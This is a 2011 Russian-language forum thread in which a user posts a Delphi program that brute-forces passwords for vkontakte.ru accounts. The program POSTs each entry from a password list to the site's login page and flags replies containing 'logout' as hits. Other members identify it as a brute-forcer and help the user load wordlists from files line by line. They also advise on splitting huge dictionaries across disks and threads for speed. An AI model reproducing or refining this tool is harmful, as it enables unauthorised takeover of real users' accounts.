Как присвоить переменной строчку из файла

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Vasa211, 4 Sep 2011.

  1. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    Как мне в части кода написаной ниже, присвоить переменной "pass" не строку из листбокса а строку из текста????

    Вот код
    PHP:
     for l:=0 to ListBox1.Items.Count-do begin
          pass
    .Add(ListBox1.Items[l]);
          
    end;

    Вот весь код

    PHP:
    var
      
    emails:TStringList;  // список мыл
      
    pass:TStringList;    // список паролей
      
    post:TStringList;    // список полей пост запроса
      
    i,jl:integer;          // счетчики циклов
      
    httpTidHTTP ;
      
    result:String;
      
    s:string;
      
    f:TextFile;
      
    Form1TForm1;

    implementation

    uses Unit2
    Unit3Unit4;

    {
    $R *.dfm}


    procedure TForm1.Button2Click(SenderTObject);
    begin
    if opendialog2.Execute then
    edit2
    .Visible:=true;
    Edit2.text:=( opendialog2.FileName);
    ListBox1.Items.LoadFromFile(OpenDialog2.FileName);
    end;

    procedure TForm1.Button3Click(SenderTObject);

    begin
      emails
    :=TStringList.Createpass:=TStringList.Create;  // Инициализируем переменные
          
    emails.Add('маил@mail.com');
          for 
    l:=0 to ListBox1.Items.Count-do begin
          pass
    .Add(ListBox1.Items[l]);
          
    end;
           
    http:=TidHTTP.Create(nil);      // создаем HTTPClient
      
    http.HandleRedirects:=true;   // это необходимо
      
    post:=tstringlist.Create;           // этот стринг лист содержит поля e-mail и пароль
      
    for i:=0 to emails.Count-do begin   // перебираем в цикле мыльники
         
    post.Clear// отчищаем
       
    post.Add('email='+emails.Strings[i]); // указываем e-mail
        
    for j:=0 to pass.Count-do begin         // перебираем пароли для выбранного мыльника
        
    post.Clear// отчищаем
          
    post.Add('pass='+pass.Strings[j]);       // указываем пароль
          
    result:=http.Post('http://vkontakte.ru/login.php',post);  // посылаем запрос

          
    if pos('logout',result)>0 then  // проверяем ответ
          
    begin
    Memo1
    .lines.Add(Pass.Strings[j]+' -  подходит');
          
    end
          
    else
    Memo1.lines.Add(Pass.Strings[j]+' - не подходит');
        
    end;
      
    end;

      
    // освободим переменные
      
    emails.Free;
      
    pass.Free;
      
    http.Free;
      
    post.Free;
    end;


    P.S.
    Есть еще одна проблема, всегда показывает что пароль не правильный, может вы найдете ошибку.
     
    #1 Vasa211, 4 Sep 2011
    Last edited: 4 Sep 2011
  2. Steam[777]

    Steam[777] Elder - Старейшина

    Joined:
    27 Sep 2010
    Messages:
    296
    Likes Received:
    43
    Reputations:
    25
    Второй кусок кода брутфорсер контакта,и написан вроде без синтаксических ошибок.

    А вот что ты в первом сделать хочешь,я не понял.
    Но если тебе надо по очереди все строки из списка pass:TStringList получить, то это будет выглядеть так:

    for i:=0 to pass.Items.Count-1 do begin
    [ТВОЯ ПЕРЕМЕННАЯ String]:=pass.Strings;
    end;
     
    #2 Steam[777], 4 Sep 2011
    Last edited: 4 Sep 2011
  3. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    а как загрузить поочереди строки не с listbox а с текстового файла
     
  4. Steam[777]

    Steam[777] Elder - Старейшина

    Joined:
    27 Sep 2010
    Messages:
    296
    Likes Received:
    43
    Reputations:
    25
    А тебе очень хочется по очереди? А вариант все сразу тебе чем не подходит?

    pass.LoadFromFile([ИМЯ ФАЙЛА]);
     
  5. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    нет, все сразу не подойдет, нужно именно по строчке, строчек много
     
  6. Steam[777]

    Steam[777] Elder - Старейшина

    Joined:
    27 Sep 2010
    Messages:
    296
    Likes Received:
    43
    Reputations:
    25
    PHP:
    var FF:TextFile;
          
    St:String;
    begin
     AssignFile
    (FF,[ИМЯ ФАЙЛА]);
     
    Reset(FF,1);
     while 
    not eof(FF) do ReadLn(FF,St);
     
    CloseFile(FF);
    end;
    Как то так
     
  7. dtsey

    dtsey New Member

    Joined:
    4 Sep 2011
    Messages:
    19
    Likes Received:
    1
    Reputations:
    0
    Code:
    var
    st: TStringList;
    c: string;
    n: integer;
    begin
    n:=0; //создаем счетчик и ставим его на 0
    st:=TStringList.Create; // создаем список строк
    st.LoadFromFile('somefile.txt'); // грузим в него строки из файла "somefile.txt"
    c:=st[n]; // переменной "с" присваиваем строку под номером "n"
    st.Free; // убиваем список строк
    end;
    
    Для брута можно увеличивать n на 1, что бы менялись строки.
     
    1 person likes this.
  8. Steam[777]

    Steam[777] Elder - Старейшина

    Joined:
    27 Sep 2010
    Messages:
    296
    Likes Received:
    43
    Reputations:
    25
    2dtsey
    А представь,у него там словарь гигов на 40. Машина сразу и навсегда встанет колом :)
     
  9. dtsey

    dtsey New Member

    Joined:
    4 Sep 2011
    Messages:
    19
    Likes Received:
    1
    Reputations:
    0
    Ну, тогда сложно, конечно.
    Тогда можно в memo какой-нибудь запилить, вместо StringList, принцип то все равно тот же будет.
     
  10. Steam[777]

    Steam[777] Elder - Старейшина

    Joined:
    27 Sep 2010
    Messages:
    296
    Likes Received:
    43
    Reputations:
    25
    Почти,но не совсем.
    На больших словарях, если брут однопоточный :D , лучше читать построчно из файла. Если многопоточный, то,как вариант, словарь можно поделить на *-цать частей, разложить их по разным физическим носителям и каждому потоку скормить построчно свой файл.

    А если это все в память считывать сразу, то при большом словаре будет своп постоянный,что сильно скорость снизит.

    Но для небольших и средних словарей твой способ однозначно лучше :)
     
  11. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    Steam[777], я не понял твой код, объясни пожалуйта.
     
  12. Steam[777]

    Steam[777] Elder - Старейшина

    Joined:
    27 Sep 2010
    Messages:
    296
    Likes Received:
    43
    Reputations:
    25
    Что именно не понятно? Там же 10 строчек. Какая из них?
     
  13. dtsey

    dtsey New Member

    Joined:
    4 Sep 2011
    Messages:
    19
    Likes Received:
    1
    Reputations:
    0
    Спасибо. Просто с многопоточностью еще не сталкивался в коддинге, ибо пишу только несколько месяцев :)
     
  14. dtsey

    dtsey New Member

    Joined:
    4 Sep 2011
    Messages:
    19
    Likes Received:
    1
    Reputations:
    0
    Если я правильно понял его код, то там небольшая ошибочка. Получается, что переменной поочередно присваивается каждая строка файла, т.е. по окончанию цикла в переменной будет последняя строка. Это не совсем правильное решения, как мне кажется, хотя я могу ошибаться.
     
  15. Steam[777]

    Steam[777] Elder - Старейшина

    Joined:
    27 Sep 2010
    Messages:
    296
    Likes Received:
    43
    Reputations:
    25
    Ты правильно понял. Но ты ведь просил
    Вот внутри цикла и делай с ними,что тебе нужно
     
  16. dtsey

    dtsey New Member

    Joined:
    4 Sep 2011
    Messages:
    19
    Likes Received:
    1
    Reputations:
    0
    А, ну тогда - да, ты прав в коде. :)
    Прошу прощения. :)
     
  17. Steam[777]

    Steam[777] Elder - Старейшина

    Joined:
    27 Sep 2010
    Messages:
    296
    Likes Received:
    43
    Reputations:
    25
    При всем моем уважении, поправьте меня если я не прав. Файл с паролями для чтения "кусками" придется типизировать, а по условию мы имеем текстовый, нетипизированный файл, читать "кусками" который невозможно.

    Если есть желание - можете хоть на 200,если железо позволит и пропускная способность канала достаточна. Я ведь не сказал,что количество носителей должно соответствовать количеству потоков,не так ли?
     
  18. Vasa211

    Vasa211 Banned

    Joined:
    14 Aug 2011
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    У меня выдает шибку здесь:

    Reset(FF,1); (кустор стоит перед ";" )

    пишет [Error] Unit1.pas(87): Too many actual parameters
     
  19. Steam[777]

    Steam[777] Elder - Старейшина

    Joined:
    27 Sep 2010
    Messages:
    296
    Likes Received:
    43
    Reputations:
    25
    Что в ней интересного? Невозможно быстро узнать смещение,по которому находится начало n-ого элемента относительно начала файла, если длинна прочих элементов непостоянна. Текстовые файлы (а в данном случае мы имеем классический пример ) - относятся к разряду нетипизированных, это еще в школе проходят(по крайне мере в школе я это знал).

    Согласен,справятся. Но при наличии нескольких физических носителей справятся лучше :)
    А в чем нелепость? Пропускные способности сетевых каналов уже достигли уровня,когда слабым местом становится уже дисковая подсистема - почему бы не обратить на это внимание?
     
  20. Steam[777]

    Steam[777] Elder - Старейшина

    Joined:
    27 Sep 2010
    Messages:
    296
    Likes Received:
    43
    Reputations:
    25
    *извини,писал по памяти